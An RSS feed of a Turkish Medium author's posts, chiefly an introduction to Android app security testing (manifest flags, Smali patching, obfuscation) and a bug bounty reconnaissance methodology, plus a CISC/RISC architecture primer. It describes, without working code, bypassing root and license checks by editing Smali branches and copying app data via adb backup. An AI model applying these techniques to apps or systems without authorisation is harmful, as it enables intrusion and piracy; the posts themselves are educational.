<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by miela on Medium]]></title>
        <description><![CDATA[Stories by miela on Medium]]></description>
        <link>https://medium.com/@miiela?source=rss-96d33d793728------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zF7NAnWz2PeajiN-zeGaoA.jpeg</url>
            <title>Stories by miela on Medium</title>
            <link>https://medium.com/@miiela?source=rss-96d33d793728------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 07:42:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@miiela/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Android Güvenliğine Giriş: 1 — Android Fundamentals]]></title>
            <link>https://medium.com/@miiela/android-g%C3%BCvenli%C4%9Fine-giri%C5%9F-statik-analizden-%C3%A7al%C4%B1%C5%9Fma-zaman%C4%B1-manip%C3%BClasyonuna-7c1e4bf459db?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c1e4bf459db</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Sun, 10 May 2026 00:46:25 GMT</pubDate>
            <atom:updated>2026-05-10T00:49:22.323Z</atom:updated>
            <content:encoded><![CDATA[<p>Telefonda geçirdiğimiz sürenin bu kadar fazlalaştığı bir dönemde, Android güvenliğini merak etmemek; bu sistemlere nasıl saldırı yapıldığını ve nasıl savunulduğunu öğrenmeden durmak benim için çok zordu.Bende durmadım. Bu yazıda aldığım eğitim sonrası çıkardığım notlara ve araştırmama dayanarak öğrendiklerimi(bir siber güvenlikçi gözüyle) paylaşıyor olacağım.</p><h3><strong>1. Android Uygulama Anatomisi ve Statik Analiz Süreçleri</strong></h3><p>Bir sistemi manipüle etmeden önce, onun nasıl inşa edildiğini anlamak şart.Android sızma testlerinde ilk aşama, uygulamanın statik yapısını ve deklarasyonlarını incelemektir, o APK (Android Package Kit) dosyasını parçalarına ayırmaktır. APK aslında bir ZIP dosyasıdır ama içindeki yapılar (DEX dosyaları, kaynaklar, manifest) Android Runtime tarafından özel bir şekilde yorumlanır. APK (Android Package Kit) dosyası deşifre edildiğinde, uygulamanın çalışma mantığını belirleyen temel bileşenler karşımıza çıkar. (Bu kavramlara yazı ilerledikçe dönüp bakmanız gerekebilir.)</p><ul><li><strong>DEX (Dalvik Executable):</strong> Java/Kotlin kodunun Android cihazlarda yürütülebilmesi için derlenmiş, optimize edilmiş bytecode formudur.</li><li><strong>AndroidManifest.xml:</strong> Uygulamanın bileşenlerini, izinlerini ve dış dünyaya açık kapılarını tanımlayan yapı taşıdır.</li><li><strong>Smali:</strong> DEX dosyalarının insan tarafından okunabilir en alt seviye temsilidir ve tersine mühendislik süreçlerinin temelidir.</li><li><strong>Obfuscation (Kod Karartma):</strong> Kodun mantığını gizlemek ve analizi zorlaştırmak amacıyla kullanılan yöntemlerin bütünüdür.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpW8x13p5cxZYggNSMUJcg.png" /><figcaption>.dex → Dalvik Executable File + aapt: Android Asset Packaging Tool</figcaption></figure><h4>DEX (Dalvik Executable) Analizi</h4><p><strong>DEX Tam Olarak Nedir?</strong> DEX, “Dalvik Executable” ifadesinin kısaltmasıdır. Standart bilgisayarlarımızda çalışan Java programları .class dosyalarına derlenirken, Android dünyasında bu süreç bir adım daha ileri gider. Java veya Kotlin ile yazdığımız kodlar önce derlenir, ardından Android&#39;in kısıtlı kaynaklara sahip mobil cihazlarda daha hızlı ve verimli çalışabilmesi için tüm bu sınıflar tek bir .dex dosyası içinde (veya çok büyük uygulamalarda birden fazla) birleştirilir. DEX dosyaları, Android’in kalbi sayılan <strong>Android Runtime (ART)</strong> tarafından okunup çalıştırılmak üzere kullanılır.</p><p>Analizlerimizde bu dosyaları Jadx gibi decompiler araçlarıyla yüksek seviyeli dile geri çevirerek iş mantığını inceleriz. Bir siber güvenlikçi için DEX analizi şu kritik kapıları açar:</p><ul><li><strong>Veri Akışı:</strong> Uygulama kullanıcı verisini nasıl işliyor, nereye kaydediyor?</li><li><strong>Hassas Bilgiler:</strong> Kodun içine sert kodlanmış(terimi böyle kullanmak..)(hardcoded) API anahtarları, şifreleme parolaları veya gizli URL’ler bırakılmış mı?</li><li><strong>API İletişimi:</strong> Uygulama hangi sistem servislerini çağırıyor ve dış sunucularla nasıl bir protokol üzerinden konuşuyor?</li></ul><p>Recon aşaması desek yeridir yanisi.</p><h4>Manifest İncelemesi ve Saldırı Yüzeyi Belirleme</h4><p>Manifest dosyası, AndroidManifest.xml uygulamanın işletim sistemiyle olan tüm etkileşimini ve güvenlik sınırlarını belirlediği için sızma testlerinin en kritik aşamalarından biridir. Sadece birkaç flag değişikliği, uygulamanın tüm veri güvenliğini yerle bir edebilir.</p><ul><li><strong>Exported Components ve Intent Injection : </strong>Bir Activity, Service veya Broadcast Receiver exported=&quot;true&quot; olarak işaretlendiğinde, bu bileşene sadece uygulamanın kendisi değil, cihazdaki herhangi bir kötü niyetli uygulama da &quot;Intent&quot; göndererek erişebilir. — — <strong>Kritik Flag’ler:</strong> debuggable=&quot;true&quot; bırakılan bir uygulama, jdb veya lldb gibi araçlarla çalışma anında izlenebilir ve manipüle edilebilir.(Geliştirme aşamasında unutulan bu flag, saldırganın adb üzerinden uygulamaya bir debugger (jdb, lldb) bağlamasına olanak tanır. Bu sayede uygulamanın belleği (memory) okunabilir, çalışma anındaki değişken değerleri değiştirilebilir ve güvenlik kontrolleri (logic checks) runtime&#39;da devre dışı bırakılabilir.Saldır yürüyeceği yolu kendisi yaratır :)) allowBackup=&quot;true&quot; ise Android’in yerel yedekleme mekanizmasını aktif eder. Eğer bu flag açıksa, fiziksel erişimi olan bir saldırgan adb backup komutuyla uygulamanın tüm /data/data/package_name klasörünü (veritabanları, shared preferences, login token&#39;ları) şifresiz bir şekilde bilgisayarına kopyalayabilir.</li><li>İ<strong>zin Mekanizması ve Custom Permissions : </strong>Manifest dosyasındaki &lt;uses-permission&gt; etiketleri, uygulamanın neye eriştiğini söylerken; &lt;permission&gt; etiketleri, uygulamanın kendi bileşenlerini korumak için oluşturduğu özel izinleri tanımlar. Özel bir izin tanımlanırken protectionLevel=&quot;normal&quot; seçilirse, herhangi bir uygulama bu izni alabilir. Ancak protectionLevel=&quot;signature&quot; seçilirse, sadece aynı geliştirici tarafından imzalanmış(imza muhabbetini yazının ilerleyen kısımlarında öğreneceğiz) uygulamalar bu bileşene erişebilir. Sızma testinde, kritik servislerin &quot;normal&quot; seviyeli izinlerle korunup korunmadığına bakılır.</li><li><strong>Network Security Configuration ve Cleartext Traffic : </strong>Modern Android sürümlerinde varsayılan olarak engellenmiş olsa da, android:usesCleartextTraffic=&quot;true&quot; ifadesi uygulamanın HTTPS yerine güvensiz olan HTTP protokolünü kullanmasına izin verir.(Bu durum, kullanıcının aynı ağdaki bir saldırgan tarafından MITM (Man-in-the-Middle) saldırısına maruz kalmasına ve giriş bilgilerinin şifresiz bir şekilde ele geçirilmesine neden olur.)</li></ul><p>ve daha neler neler…</p><h4>Smali</h4><p>Smali, Android’in yürütülebilir dosyaları olan DEX (Dalvik Executable) dosyalarının insan tarafından okunabilen assembly benzeri karşılığıdır. Jadx gibi decompiler araçlarının “kafasının karıştığı” veya hatalı kod ürettiği noktalarda başvurduğumuz nihai kaynaktır.</p><ul><li><strong>Register-Based Yapı:</strong> Standart Java’nın aksine Smali, kayıtçılar (v0, v1, p0, p1 vb.) üzerinden çalışır. Bu, işlemci seviyesine çok daha yakın bir mantıktır.</li><li><strong>Dürüstlük:</strong> Smali, kod karartma (obfuscation) yapılsa dahi uygulamanın runtime’da ne yapacağını en çıplak haliyle gösterir.</li><li><strong>Müdahale (Patching) Kapısı:</strong> Smali’nin en güçlü yanı sadece okunabilir değil, <strong>yazılabilir</strong> olmasıdır.</li></ul><h4>Neden Smali Okumak Zorundayız?</h4><p>Her ne kadar smali bilmek zorunda olmadığımız söylense de bence bir siber güvenlikçi için Smali okumak şu kritik avantajları sağlar:</p><ol><li><strong>Güvenlik Kontrollerini Bypass Etme:</strong> Uygulama içinde bir if-eqz (if equal zero) kontrolü mü var? Smali seviyesinde bu satırı if-nez (if not equal zero) yaparak veya araya bir goto komutu ekleyerek güvenlik kontrolünü (Root tespiti, lisans kontrolü vb.) saniyeler içinde devre dışı bırakabiliriz.</li><li><strong>Hata Payını Sıfırlama:</strong> Jadx bazen karmaşık Java kodlarını yanlış yorumlayabilir. Smali ise bytecode’un birebir karşılığı olduğu için yanılmazdır. Uygulamanın register’lar arasında veriyi nasıl taşıdığını görmek, gizli şifreleme anahtarlarının bellekteki yerini tespit etmemizi sağlar.</li><li><strong>Uygulamayı Yeniden İnşa Etme:</strong> Apktool ile Smali kodlarını düzenleyip uygulamayı tekrar paketleyebilir (build) ve imzalayarak kendi modifiye edilmiş versiyonumuzu oluşturabiliriz.</li></ol><h4>Obfuscation (Kod Karartma)</h4><p>Geliştiriciler için Obfuscation bir savunma yöntemiyken, bir siber güvenlikçi için bu durum sadece “zaman maliyetini” artıran bir engeldir.(saldırı yapılmasını zorlaştırmak için kullanılan bir maskeleme gibi düşünebilirsiniz) Kodun işlevini bozmadan, tersine mühendislik araçları (Jadx vb.) tarafından üretilen çıktıyı anlamsızlaştırma işlemidir.</p><ul><li><strong>İsim Değiştirme (Renaming):</strong> En temel yöntemdir. calculateUserBalance() gibi anlamlı isimler yerine a(), b1() gibi isimler atanır.</li><li><strong>Kontrol Akışı Karartması (Control Flow Flattening):</strong> Kodun mantıksal sırasını (if-else, döngüler) bozarak devasa bir switch-case yapısına dönüştürür.</li><li><strong>Dizgi Şifreleme (String Encryption):</strong> Kod içindeki API anahtarları veya URL’ler şifreli saklanır ve sadece uygulama çalışırken bellekte çözülür.</li></ul><p>Analiz sırasında karşımıza çıkan a.b.c(d) gibi bir fonksiyonun ne yaptığını anlamak için &quot;bağlam analizi&quot; (context analysis) yaparız. Fonksiyonun hangi sistem izinlerini çağırdığı, hangi parametreleri aldığı ve hangi sınıflarla konuştuğu, o fonksiyonun gerçek kimliğini ele verir. Obfuscation analizi durdurmaz; sadece bizi daha derine, yani uygulamanın gerçek dili olan Smali&#39;ye inmeye zorlar.</p><p><strong>Not:</strong> Obfuscation sizi yavaşlatmak için tasarlanmıştır, Smali ise bu hızı geri kazanmanızı sağlar.(Yukarıda smali öğrenmenin avantajlarından bahsetmiştim bu da onlardan biri) Bir siber güvenlikçinin gerçek gücü, a() fonksiyonunun içine bakıp Smali register&#39;larını takip ederek o fonksiyonun aslında bir checkRoot() fonksiyonu olduğunu anladığı an başlar.</p><p>Fazla teelfon kullanımı ile hepimizin odak süresi biraz azalmış olabilir(en azından benimki öyle). O yüzden yazıyı birkaç bölüme ayıracağım.</p><p>2.Bölüm Android Security Model</p><p><strong>Araştırmaya Devam Etmek İsteyenler İçin Kaynaklar:</strong></p><ul><li><strong>OWASP MSTG (Mobile Security Testing Guide): </strong><a href="https://owasp.org/www-project-mobile-app-security/">https://owasp.org/www-project-mobile-app-security/</a> Mobil güvenliğin “kutsal kitabı”.</li><li><strong>Byteria Deep Dive Notes: </strong><a href="https://github.com/Ahmeth4n/talks/tree/main/2026/raconf26">https://github.com/Ahmeth4n/talks/tree/main/2026/raconf26</a> Native ve RASP teknikleri üzerine derinlemesine bir bakış.</li><li><strong>Android Security Bulletins:</strong> <a href="https://source.android.com/docs/security/bulletin/2026/2026-05-01?hl=tr">https://source.android.com/docs/security/bulletin/2026/2026-05-01?hl=tr</a> Google’ın her ay yayınladığı güncel açıklar listesi.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c1e4bf459db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recon Metodolojisi: Asset Discovery’den Attack Surface Expansion’a]]></title>
            <link>https://medium.com/@miiela/recon-metodolojisi-asset-discoveryden-attack-surface-expansion-a-f1cccc371c34?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1cccc371c34</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 15:02:42 GMT</pubDate>
            <atom:updated>2026-02-02T15:02:42.995Z</atom:updated>
            <content:encoded><![CDATA[<p>Benim bir süredir kafamı en çok kurcalayan şeylerden biri. Bug bounty’e ilk girdiğimde açıkçası kafam çok basitti:</p><p>“siteyi aç → input bul → payload dene → açık çıkar”</p><p>Baya baya böyleydi. Çünkü internette gördüğüm çoğu örnek hep exploit odaklıydı. XSS, SQLi, RCE vs. Ama biraz takıldıkça şunu fark ettim: Asıl olay exploit değilmiş. Asıl olay hedefi tanımakmış. Hatta bazen açık aramadan bile açık bulunabiliyor. (Sadece sistemi kurcalarken)</p><p>O yüzden bu yazıyı “şöyle yapmalısınız” diye değil, ben öğrenirken neyin mantıklı geldiğini paylaşmak için yazıyorum.</p><p>Ben recon’u şöyle düşünmeye başladım: <strong>“Saldırmadan önce istihbarat toplamak”</strong></p><p>Yani direkt taramaya geçmek yerine önce:</p><p>kaç domain var?<br> hangi subdomain’ler var?<br> hangileri canlı?<br> hangileri eski?<br> hangi teknoloji kullanılıyor?<br> versiyon ne?</p><p>gibi şeyleri anlamaya çalışıyorum.</p><p>Harita olmadan saldırmak biraz rastgele oluyor çünkü. Ayrıca Wayback olayı cidden ilginç. Sitenin eski kodları dolayısıyla eski admin panelleri, debug sayfaları, api endpoint’leri çıkabiliyor. Birkaç kere “şaka mı bu ya gerçekten açık mı kalmış?” dediğim yerler oldu :)</p><p>Ben artık recon’u 4 teknik aşama gibi düşünüyorum:</p><ul><li>Asset discovery (neyim var?)</li><li>Live surface mapping (hangileri gerçekten çalışıyor?)</li><li>Fingerprinting (hangi teknoloji/sürüm?)</li><li>Attack surface expansion (gizli/unutulmuş yerler var mı?)</li></ul><p>Bu bakış açısı gelince tool’lar da anlam kazanmaya başladı. Yoksa sadece “şu tool da varmış” seviyesinde kalıyor.</p><h3>Asset Discovery (neyim var?)</h3><p>Fark ettim ki tek kaynaktan enum yapmak çok eksik. Çünkü her servis farklı veri kaynağı kullanıyor:</p><p>certificate transparency<br> search engine cache<br> github<br> passive DNS</p><p>O yüzden artık birkaç kaynağı birleştiriyorum.</p><p>Mesela mantık şu:</p><pre>subfinder<br> chaos<br> crt.sh<br> gau domain parse</pre><p>Hepsini topla → unique yap → tek liste (çünkü her biri farklı şey yakalıyor).</p><p>Diyelim:</p><pre>api.dev.target.com</pre><p>bulduk. Burada durmamak gerekiyor. Bunun altı da olabilir:</p><pre>test.api.dev.target.com<br> old.api.dev.target.com<br> v1.api.dev.target.com</pre><p>Yani domain’i tekrar kök gibi kabul edip tekrar enum yapmak. Buna recursive recon deniyor. Bence gerçek “derin keşif” burada başlıyor. Araçlar, <em>shuffledns</em>, <em>puredns</em>,<em> alterx</em> (permutation). Bu kısım baya gizli ortam yakalatıyor.</p><p>Çünkü şirketler pratikte çok düzenli isimlendirme yapıyorlar. Bir yerde dev varsa genelde test, stage, old, backup da oluyor. İnsan gözüyle bakınca fark etmiyorsun ama makineler için bu aslında bir pattern. <em>Alterx</em> gibi araçlar da tam olarak bunu yapıyor zaten, kelimeleri birleştirip binlerce kombinasyon üretiyor, sen de hangisi gerçekten var diye çözüyorsun.</p><p>Staging login’leri, unutulmuş paneller, basic auth koyup bırakılmış servisler falan. Production’dan çok daha “rahat” bırakılmış oluyorlar. Güvenlik ekibi genelde ana domain’i koruyor, arkası biraz kaderine terk ediliyor gibi.</p><h3>Live Surface Mapping (hangileri gerçekten çalışıyor?)</h3><p>Bir noktadan sonra şunu fark ettim, aslında domain toplamak işin sadece yarısı. Elinde binlerce subdomain olması hiçbir şey ifade etmiyor, çünkü büyük kısmı zaten ölü. NXDOMAIN, timeout, kapalı port… yani gürültü.</p><p>O yüzden ikinci aşama benim için biraz “temizlik” gibi.</p><p>Mesela 500 tane domain’in hepsi 200 dönüyor ama hepsinin content-length’i aynıysa büyük ihtimalle default nginx sayfası. Ama arada biri farklı boyutta dönüyorsa, işte orada “hmm burada bir şey var” diyorsun.</p><p>Recon’da çoğu zaman mantık şu oluyor zaten, anormalliği kovalamak.</p><h3>Fingerprinting (hangi teknoloji / sürüm?)</h3><p>Canlı sistemleri ayıkladıktan sonra iş artık “bu makineler ne çalıştırıyor” sorusuna dönüyor. Yani körlemesine exploit denemek yerine önce hedefi tanımak. Çünkü WordPress’e Laravel exploit’i atmanın bir anlamı yok.</p><p>Fingerprinting dediğimiz şey tam olarak burada devreye giriyor.</p><p>Basit bir curl -I bile bazen aşırı şey söylüyor. Server header, X-Powered-By, framework izleri… Bazı sistemler resmen sürümü yazıyor. Apache 2.4.x, PHP 7.2 falan görünce direkt aklıma “tamam bunun CVE’si vardır” geliyor. O noktada exploit aramak daha mantıklı oluyor, rastgele payload atmaktan çok daha verimli :)</p><p>Teknolojiye göre bakış açısı da değişiyor zaten. WordPress görünce wp-admin, xmlrpc, plugin versiyonları aklıma geliyor. Laravel görünce .env dosyası, debug modu, stack trace. React ya da SPA görünce bu sefer gözüm JS dosyalarına kayıyor, çünkü backend endpoint’leri genelde frontend içinde açık açık duruyor.</p><p>Bir süre sonra refleks oluyor, teknoloji neyse saldırı yüzeyi de ona göre şekilleniyor.</p><h3>Attack Surface Expansion (gizli / unutulmuş yerler var mı?)</h3><p>Wayback gerçekten acayip bir şey. İnsan sitenin geçmişine bakınca baya tarih kazısı yapıyormuş gibi hissediyor. Yıllar önce silinmiş admin panelleri, debug endpoint’leri, eski API versiyonları hâlâ cache’te durabiliyor. Normal taramada asla bulamayacağın şeyler çıkıyor.</p><p>Aynı şekilde JS dosyaları da küçümsenmemeli. Modern uygulamalar backend’i saklıyor gibi duruyor ama aslında frontend her şeyi fısıldıyor. Endpoint’ler, internal path’ler, bazen API key’ler, hatta staging URL’leri… Kodun içinde kalmış oluyor. Linkfinder ile parse edince küçük bir hazine sandığı açılmış gibi hissediyorum bazen.</p><p>Bir de parametre fuzzing olayı var, çoğu kişi sadece endpoint arıyor ama parametreler de ayrı bir dünya. debug=true, admin=1, file=, redirect= gibi şeyler bazen tek başına açığa dönüşebiliyor. Bir sayfa dümdüz duruyor ama gizli parametre ekleyince bambaşka davranıyor.</p><p>Hâlâ her şeyi biliyorum diyemem, aksine her hafta yeni bir şey öğreniyorum. Sanırım olay biraz şu, exploit son adım. Asıl iş ondan önce başlıyor. Recon’u ciddiye almadan bug bounty yapmak biraz haritasız labirente girmek gibi. Çıkış var ama çok dolaşıyorsun. Daha az rastgele deneme, daha az zaman kaybı, daha çok mantıklı saldırı.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1cccc371c34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BİLGİSAYAR MİMARİSİ( Computer Architecture)]]></title>
            <link>https://medium.com/@miiela/bi%CC%87lgi%CC%87sayar-mi%CC%87mari%CC%87si%CC%87-computer-architecture-6687104fdcc0?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/6687104fdcc0</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Wed, 22 Oct 2025 04:10:16 GMT</pubDate>
            <atom:updated>2026-03-27T01:56:41.166Z</atom:updated>
            <content:encoded><![CDATA[<h4>1 — CISC ve RISC yapısı</h4><p>İlk hedefimiz CISC ve RISC bilgisayar yapısını net bir şekilde anlamak olacak. Tek başına CISC nedir bilmek yeterli olmayacaktır.Yaniiii olaya sadece “CISC nedir?” diye değil, bu mimarilerin bilgisayarın beynindeki rolünü ve komutları nasıl işlediğini anlayarak bakmak gerekiyor(muş:).<br> Bu noktada, konuyu derinleştirmeden önce işlemcinin (CPU) sistem içindeki yerini ve görevini netleştirmek mantıklı olacaktır. Bakalım CPU neymiş.</p><h4>CPU (Merkezi İşlem Birimi)</h4><p><strong>Tanım:</strong> Bilgisayarın beynidir; programdaki komutları sırayla alır, çözer ve uygular. Bu döngü “<strong>Fetch–Decode–Execute–Store</strong>” adımlarıyla sürekli tekrar eder tıpkı CPU’nun kalp atışı gibi.<br><strong> CPU içindeki temel parçalar:</strong></p><ul><li><strong>ALU (Arithmetic Logic Unit):</strong> Toplama, çıkarma, mantıksal işlemler yapar.</li><li><strong>Register (Hızlı bellek):</strong> Küçük, çok hızlı depolar. Geçici sonuçları saklar.</li><li><strong>Kontrol birimi:</strong> Komutların sırasını yönetir, neyin ne zaman çalışacağını belirler.</li></ul><p><strong>Fetch (Alma):</strong>Program Counter (PC) → adresi tutar. Bellekten komut okunur → Instruction Register’a (IR) yüklenir</p><p><strong>Decode (Çözme):</strong>Komutun türü çözülür, hangi işlem yapılacağı belirlenir</p><p><strong>Execute (Yürütme):</strong>ALU gerekli işlemi yapar, sonuç üretilir.</p><p><strong>Write Back:</strong> Sonuç register veya belleğe yazılır.</p><p><strong>Örnek:</strong><br> Sen bir toplama işlemi yap dediğinde (5+3), CPU önce sayıları register’a alır, ALU toplar, sonucu tekrar register’a yazar(yada hafızaya yollar).</p><p><strong>Önem:</strong><br> CISC ve RISC mimarilerinin farkı tam da bu sürecin nasıl gerçekleştiğiyle ilgilidir. Yani işlemcinin bir komutu kaç adımda, hangi donanım kaynaklarını kullanarak ve ne kadar verimli biçimde tamamladığı bu mimarilerle belirlenir.</p><h4>Instruction Set Architecture — ISA (Komut Seti)</h4><p><strong>Tanım:</strong> CPU’nun anlayabildiği komutlar topluluğudur.<br> Bir işlemci “dili” gibidir.<br> Örneğin CPU sadece şu tarz emirleri anlar:</p><pre>ADD R1, R2   → R1 = R1 + R2<br>LOAD R1, [MEM]  → bellekteki veriyi register’a yükle<br>STORE R1, [MEM] → register’daki veriyi belleğe yaz</pre><p>ADD, LOAD, STORE…</p><p><strong>Örnek:</strong><br> x86 mimarisi (Intel, AMD yani laptop ve masaüstü ) = CISC<br> ARM mimarisi (telefonlarda yada mac cihazlarda) = RISC</p><p><strong>Önem:</strong><br> CISC ve RISC arasındaki fark, bu komut setinin <strong>karmaşık mı basit mi</strong> olduğudur( tabi bu çok üstünkörü bir karşılaştırma) .Yazının ilerleyen sayfalarında bahsettiğim karmaşıklığı daha iyi anlayacaksınız.</p><h3>CISC (Complex Instruction Set Computer)</h3><p><strong>Tanım:</strong> “Karmaşık Komut Setli Bilgisayar”.<br> Bir komutla birden fazla işi yapabilir ve bazı komutlar 1 bayt, bazıları 6 bayt olabilir.</p><p><strong>Örnek:</strong></p><pre>MULT A, B</pre><p>Tek bir komut, <strong>bellek erişimi + işlem</strong> gibi birden fazla işi yapabilir.</p><p>Bu tek komut:</p><ul><li>Bellekten A ve B değerlerini alır,</li><li>Çarpar,</li><li>Sonucu tekrar belleğe yazar.</li></ul><p><strong>Önem:</strong>Yazılım tarafında programlar daha kısa ve anlaşılır olacaktır çünkü tek bir komutla birden fazla işlem yapılabilir. Ancak bu, işlemcinin iç yapısını karmaşık hale getirir. Farklı komutlar farklı sürelerde çalıştığı için( çünkü hangisinin tek komutla ne adar ne yapacağını bilmiyoruz) işlem süresini tahmin etmek ve işlemciyi hızlandırmak zordur.<br> Bu yüzden CISC mimarisi, esneklik sağlasa da donanımın karmaşıklığını(bahsettiğimiz karmaşıklık) ve enerji tüketimini artırır.</p><h3>RISC (Reduced Instruction Set Computer)</h3><p><strong>Tanım:</strong> “İndirgenmiş Komut Setli Bilgisayar”.<br> Her komut çok basittir, tek iş yapar ama çok hızlıdır.Sabit uzunluklu(örneğin her biri 4 byte) komutlar kullanır. Komut sayısı daha azdır.</p><p><strong>Örnek:</strong></p><pre>LOAD R1, A   → A’yı bellektan R1’e al<br>LOAD R2, B   → B’yi bellektan R2’ye al<br>MUL  R3, R1, R2 → R3 = R1 * R2<br>STORE R3, C  → sonucu belleğe yaz</pre><p><strong>Pipeline (Boru Hattı):</strong>Bir komutun yürütülmesi genellikle <strong>beş aşamada</strong> gerçekleşir:</p><p>1️⃣ <strong>Fetch (Komutu Alma):</strong> Komut bellekteki adresinden getirilir.<br> 2️⃣ <strong>Decode (Çözme):</strong> Komutun ne yaptığı çözülür.<br> 3️⃣ <strong>Execute (Yürütme):</strong> ALU gerekli işlemi yapar.<br> 4️⃣ <strong>Memory Access (Bellek Erişimi):</strong> Gerekirse belleğe erişilir.<br> 5️⃣ <strong>Write Back (Sonucu Yazma):</strong> Sonuç register’a veya belleğe yazılır.</p><p>RISC işlemcilerde bu beş aşama, <strong>farklı donanım birimleri</strong> tarafından eşzamanlı yürütülür.(Anlarsınız ki bu daha yüksek hızın temel sebeplerinden biridir.)</p><h4>RISC’in Gizli Kahramanı → Register Pencereleri</h4><p>RISC mimarisinde, alt rutin (subroutine) çağrıları sırasında <strong>veri aktarımını hızlandırmak</strong> için “register pencereleri” (register windows) adı verilen bir yapı kullanılır.</p><h4>Nasıl Çalışır?</h4><ul><li>Her alt rutin çağrıldığında, yeni bir <strong>pencere</strong> açılır.</li><li>Bu pencere, bir önceki pencerenin bazı register’larını paylaşır.</li><li>Böylece alt programa veri aktarımı için belleğe gitmeye gerek kalmaz.</li><li>Amaç: <strong>stack kullanımını azaltmak ve hız kazanmak.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*QYF5qXxixJGIMsAfE8GBZg.png" /></figure><p>her alt rutin (örneğin A, B, C, D gibi) çalışırken kendine ait bir <strong>register (hızlı bellek)</strong> kümesi kullanıyor.<br> Ama bu kümeler tamamen ayrı değiller gördüğümüz gibi — <strong>komşu rutinler bazı register’ları ortak kullanıyor.</strong><br> Bu sayede, alt programlar (subroutines) arasında veri aktarımı yapılırken belleğe gidip gelmeye gerek kalmıyor; işlem donanım düzeyinde, çok hızlı gerçekleşiyor.</p><p><strong>RISC’in Önemi:</strong>RISC mimarisi, işlemleri olabildiğince basitleştirerek işlemcinin hızını artırmayı hedefler. Her komutun aynı sürede çalışması, işlemcinin zamanlamasını kolaylaştırır ve paralel işlem (<strong>pipeline</strong>) yapısını verimli hale getirir.<br> Bu sayede RISC işlemciler daha az güç harcayarak yüksek hızda çalışabilir. Bu yüzden telefon, tablet gibi enerji verimliliği önemli cihazlarda genellikle RISC (örneğin ARM yani telefonlar ) mimarisi kullanılır.</p><h4>Kısacaaa</h4><h3>CISC (Complex Instruction Set Computer)</h3><p><strong>Amaç:</strong><br> “az kod yazarak çok iş yaptırmak”</p><p><strong>Kısaca Özellikleri:</strong></p><ul><li>Çok sayıda komut ve adresleme modu içerir.</li><li>Komut uzunlukları farklıdır (1–15 bayt arası olabilir).</li><li>Tek bir komut, bellek erişimi + işlem gibi birden fazla işi yapabilir.</li><li>Donanımı karmaşıktır; komutları çözmek için <em>mikrokod (microcode)</em> kullanılır.</li><li>Her yeni modelde geriye uyumluluk korunur (örneğin: x86–64 hâlâ 8086 kodlarını destekler).</li></ul><h3>RISC (Reduced Instruction Set Computer)</h3><p><strong>Amaç:</strong><br> Komutları olabildiğince sadeleştirip her birini <strong>tek tek </strong>çalıştırmak.</p><ul><li>Az sayıda, sabit uzunlukta komut vardır (genellikle 32 bit).</li><li>Komutlar genelde <em>register–register</em> arasında çalışır.</li><li>Bellekle iletişim sadece LOAD ve STORE komutlarıyla yapılır.</li><li>Pipeline (boru hattı) uygulaması kolaydır çünkü komut biçimleri aynıdır.</li><li>Basit donanım sayesinde daha yüksek hızlara ulaşılabilir.</li></ul><p>— — — kısacık bilgi — — — -</p><p>CISC ve RISC, bilgisayarların düşünme biçimini belirleyen iki farklı felsefe.<br> CISC daha karmaşık ama güçlü, RISC ise sade ama hızlı bir yapı sunar.<br> Günümüzde modern işlemciler (örneğin Apple M1 veya AMD Ryzen) bu iki dünyanın en iyi özelliklerini birleştirerek çalışıyor.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6687104fdcc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BUGBOUNTY GİRİŞ(İlk Öğrenilmesi Gerekenler)]]></title>
            <link>https://medium.com/@miiela/bugbounty-gi%CC%87ri%CC%87%C5%9F-i%CC%87lk-%C3%B6%C4%9Frenilmesi-gerekenler-4c5b7359006a?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c5b7359006a</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Sun, 12 Oct 2025 20:32:01 GMT</pubDate>
            <atom:updated>2025-10-13T14:31:43.027Z</atom:updated>
